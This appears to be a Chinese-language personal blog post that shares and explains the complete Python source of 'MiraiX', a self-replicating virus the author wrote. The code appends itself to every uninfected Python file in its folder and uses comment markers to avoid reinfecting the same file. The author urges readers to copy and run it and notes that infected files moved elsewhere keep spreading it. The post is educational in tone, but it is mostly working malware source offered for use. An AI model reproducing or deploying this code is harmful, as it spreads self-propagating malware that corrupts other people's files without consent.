剛剛終於測試成功了,
意外的發現蠻有成就感的說~\(≧▽≦)/
照慣例,先分享一首歌給各位,
讓諸君看我噴幹話時不會太過乏味。
雖然說,
一般開發病毒所會選用的程式語言,
很少會選用python,
畢竟會受限被感染的環境,
因此多半會用C。(比較low level
但為了方便做示範,所以以下都是用python。
如果泥想測試虛鹿的程式,
你可以直接無腦的把原始碼塞進python,
鼓起勇氣,直接安心的執行下去。
他雖然是惡意程式,
但我沒有塞入會影響使用者的惡意功能,
只是會複製自己到其他python檔案中而已。
(擴散的範圍不會離開執行的資料夾呦!(^ ^)
在一個資料夾之下,放入兩個檔案,
MiraiX.py是惡意程式的本體,
而hello.py則是另一個不相干的程式。
其中,
hello.py的原始內容長這樣:
而以下這一長串,
則是MiraiX的原始碼:
(如果想要測試,請記得連註解都要一起複製呦!
MiraiX原始碼:
#### MiraiX Ver0.1.0-Prototype ####
### Coded by 虛鹿(Falsedeer) ###
import sys
import glob2
import fnmatch
import os
Replicate = False
self_replicate=[]
target_files = []
# self scanning for replicate
# save replicate code temporary in an array
Handler = open(sys.argv[0], 'r')
predata = Handler.readlines()
for line in predata:
if fnmatch.fnmatch(line, "#### MiraiX Ver*"):
Replicate = True
elif fnmatch.fnmatch(line, "#### MiraiX-EOF*"):
self_replicate.append("#### MiraiX-EOF ####")
Replicate = False
if Replicate == True:
self_replicate.append(line)
else:
break
Handler.close()
# searching python files for further infection
target_files = glob2.glob("*.py") + glob2.glob("*.pyc") + glob2.glob("*.pyw") + glob2.glob("*.pwo") + glob2.glob("*.pyd")
# removing current file name from array
target_files.remove(os.path.basename(__file__))
# checking if the file is infected
for file in target_files:
Infect = False
T_handler = open(file, 'r+')
T_data = T_handler.readlines()
for code in T_data:
if fnmatch.fnmatch(code, "#### MiraiX Ver*"):
Infect = True
else:
pass
# start infecting the file
if Infect == True:
pass
else:
T_handler.writelines('\n')
T_handler.writelines(self_replicate)
T_handler.close()
#### MiraiX-EOF ####
而當MiraiX被執行時,
他會讀取自身被執行的檔案,
利用註解的”#### MiraiX Ver……. ####”,
與底部的”#### MiraiX-EOF ####”,
取得自身欲被複製的內容,
並將其存入陣列之中。
接著,
利用glob2尋找同目錄下的python檔案,
並讀取他,檢測看看是否被自身感染過,
就跟生物學上的免疫系統一樣,
會看看是否有被標記過。
(這部分的識別,就是利用註解上的“#### MiraiX Ver…… ####” 做為辨識。)
如果有被感染過,
複製程序就會跳過。
沒有的話,
則會將先前儲存在陣列中的自身程式
寫入該檔案中,
等待下次被執行造成進一步的感染。
因此,執行MiraiX後,
便可在hello.py的下方看到被複製的病毒。
只要該檔案被搬運,並在其他地方執行,
則會再次進行複製,擴大感染的範圍。
在這邊,註解的部分就能有效的區別出:
”病毒本體”、”被寄生的程式碼”
以免複製到其餘非本體的部分。
這次就先講到這邊,
其餘的有機會下次再跟諸君分享。( ̄? ̄)